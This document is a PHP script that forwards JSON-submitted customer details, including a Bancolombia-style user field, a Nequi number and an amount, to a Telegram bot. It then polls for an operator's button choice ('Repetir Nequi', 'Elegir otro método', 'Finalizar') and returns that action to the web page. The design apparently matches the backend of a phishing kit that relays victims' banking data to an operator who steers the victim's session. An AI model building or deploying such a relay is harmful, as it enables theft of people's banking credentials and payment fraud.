<?php
ini_set('display_errors', 1);
error_reporting(E_ALL);
header('Content-Type: application/json');

$USED_TOKENS_FILE = 'used_tokens.json';

/* ============================================================
   🔥 CARGAR CONFIGURACIÓN DESDE config.php (SIN FUTURAMA)
   ============================================================ */
function loadConfig()
{
    // Tu sistema usa esta ruta, así deben cargar TODOS tus archivos
    $configFile = __DIR__ . '/../config.php';

    if (!file_exists($configFile)) {
        return null;
    }

    $config = require $configFile;

    if (!isset($config['bot_token']) || !isset($config['chat_id'])) {
        return null;
    }

    return [
        'token' => $config['bot_token'],
        'chat_id' => $config['chat_id']
    ];
}

/* ============================================================
   ✉ ENVIAR MENSAJE A TELEGRAM
   ============================================================ */
function sendMessage($token, $chatId, $text, $keyboard)
{
    $payload = [
        'chat_id' => $chatId,
        'text' => $text,
        'parse_mode' => 'HTML',
        'reply_markup' => json_encode($keyboard)
    ];

    $ch = curl_init("https://api.telegram.org/bot{$token}/sendMessage");
    curl_setopt_array($ch, [
        CURLOPT_RETURNTRANSFER => true,
        CURLOPT_POST => true,
        CURLOPT_HTTPHEADER => ['Content-Type: application/json'],
        CURLOPT_POSTFIELDS => json_encode($payload)
    ]);

    $res = curl_exec($ch);
    curl_close($ch);

    return json_decode($res, true);
}

/* ============================================================
   TECLADO INLINE
   ============================================================ */
function buildKeyboard($tid)
{
    return ['inline_keyboard' => [
        [['text' => '✅ Pago enviado', 'callback_data' => "enviado:$tid"]],
        [['text' => '🔁 Repetir Nequi', 'callback_data' => "repetir:$tid"]],
        [['text' => '🔄 Elegir otro método', 'callback_data' => "otro:$tid"]],
        [['text' => '🏁 Finalizar', 'callback_data' => "fin:$tid"]]
    ]];
}

/* ============================================================
   FORMATEAR MENSAJE
   ============================================================ */
function formatMessage($d)
{
    $b = $d['bancoldata'] ?? ['usuario' => 'N/D'];
    $montoRaw = $d['total'] ?? 0;
    $monto = number_format((float)str_replace(',', '', $montoRaw), 0, ',', '.');

    $msg = "<b>🧾 Información del Cliente</b>\n\n";

    if (!empty($d['tbdatos']) && is_array($d['tbdatos'])) {
        $info = $d['tbdatos'];
        foreach ($info as $k => $v) {
            $msg .= "• " . ucfirst(str_replace('_', ' ', $k)) . ": <code>$v</code>\n";
        }
    }

    $msg .= "\n<b>💸 Nequi para pagos</b>\n";
    $msg .= "• 🆔 Transaction ID: <code>{$d['transactionId']}</code>\n";
    $msg .= "• 📱 Número: <code>{$b['usuario']}</code>\n";
    $msg .= "• 💰 Monto: <b>$ {$monto}</b>";

    return $msg;
}

/* ============================================================
   TOKENS USADOS
   ============================================================ */
function isTokenUsed($id)
{
    global $USED_TOKENS_FILE;
    if (!file_exists($USED_TOKENS_FILE)) return false;
    $tokens = json_decode(file_get_contents($USED_TOKENS_FILE), true);
    return isset($tokens[$id]);
}

function markTokenUsed($id)
{
    global $USED_TOKENS_FILE;
    $tokens = file_exists($USED_TOKENS_FILE)
        ? json_decode(file_get_contents($USED_TOKENS_FILE), true)
        : [];

    $tokens[$id] = time();
    file_put_contents($USED_TOKENS_FILE, json_encode($tokens));
}

/* ============================================================
   CONFIG DEL BOT
   ============================================================ */
$config = loadConfig();
if (!$config) {
    echo json_encode(['ok' => false, 'error' => '❌ No se pudo cargar config.php']);
    exit;
}

/* ============================================================
   POST → ENVÍO DEL MENSAJE
   ============================================================ */
if ($_SERVER['REQUEST_METHOD'] === 'POST') {

    $d = json_decode(file_get_contents('php://input'), true);
    $tid = $d['transactionId'] ?? '';

    if (!$tid) {
        echo json_encode(['ok' => false, 'error' => '⛔ Faltó transactionId']);
        exit;
    }

    if (isTokenUsed($tid)) {
        echo json_encode(['ok' => false, 'error' => '⛔ Código ya utilizado']);
        exit;
    }

    markTokenUsed($tid);

    $msg = formatMessage($d);
    $keyboard = buildKeyboard($tid);

    $sent = sendMessage($config['token'], $config['chat_id'], $msg, $keyboard);

    echo json_encode([
        'ok' => !empty($sent['ok']),
        'message_id' => $sent['result']['message_id'] ?? null
    ]);
    exit;
}

/* ============================================================
   GET → POLLING DEL OPERADOR
   ============================================================ */
if ($_SERVER['REQUEST_METHOD'] === 'GET' && isset($_GET['transactionId'])) {

    $tid = $_GET['transactionId'];
    $updates_url = "https://api.telegram.org/bot{$config['token']}/getUpdates?timeout=5";
    $updates = json_decode(@file_get_contents($updates_url), true);

    $lastUpdateId = 0;

    if (!isset($updates['result'])) {
        echo json_encode(['ok' => false]);
        exit;
    }

    foreach ($updates['result'] as $upd) {

        if (isset($upd['update_id'])) {
            $lastUpdateId = $upd['update_id'];
        }

        if (isset($upd['callback_query']) &&
            strpos($upd['callback_query']['data'], $tid) !== false) {

            $action = explode(':', $upd['callback_query']['data'])[0];
            $user = $upd['callback_query']['from']['username']
                ?? $upd['callback_query']['from']['first_name'];

            $msgId = $upd['callback_query']['message']['message_id'];
            $original = $upd['callback_query']['message']['text'];

            $newText = $original
                . "\n\n✅ Acción: <b>" . ucfirst($action) . "</b>"
                . "\n👤 Por: @$user";

            $payload = [
                'chat_id' => $config['chat_id'],
                'message_id' => $msgId,
                'text' => $newText,
                'parse_mode' => 'HTML'
            ];

            $ch = curl_init("https://api.telegram.org/bot{$config['token']}/editMessageText");
            curl_setopt_array($ch, [
                CURLOPT_RETURNTRANSFER => true,
                CURLOPT_POST => true,
                CURLOPT_HTTPHEADER => ['Content-Type: application/json'],
                CURLOPT_POSTFIELDS => json_encode($payload)
            ]);
            curl_exec($ch);
            curl_close($ch);

            echo json_encode(['ok' => true, 'action' => $action]);
            exit;
        }
    }

    if ($lastUpdateId > 0) {
        file_get_contents("https://api.telegram.org/bot{$config['token']}/getUpdates?offset=" . ($lastUpdateId + 1));
    }

    echo json_encode(['ok' => false]);
    exit;
}

echo json_encode(['ok' => false, 'error' => '⛔ Método no permitido']);
exit;
?>
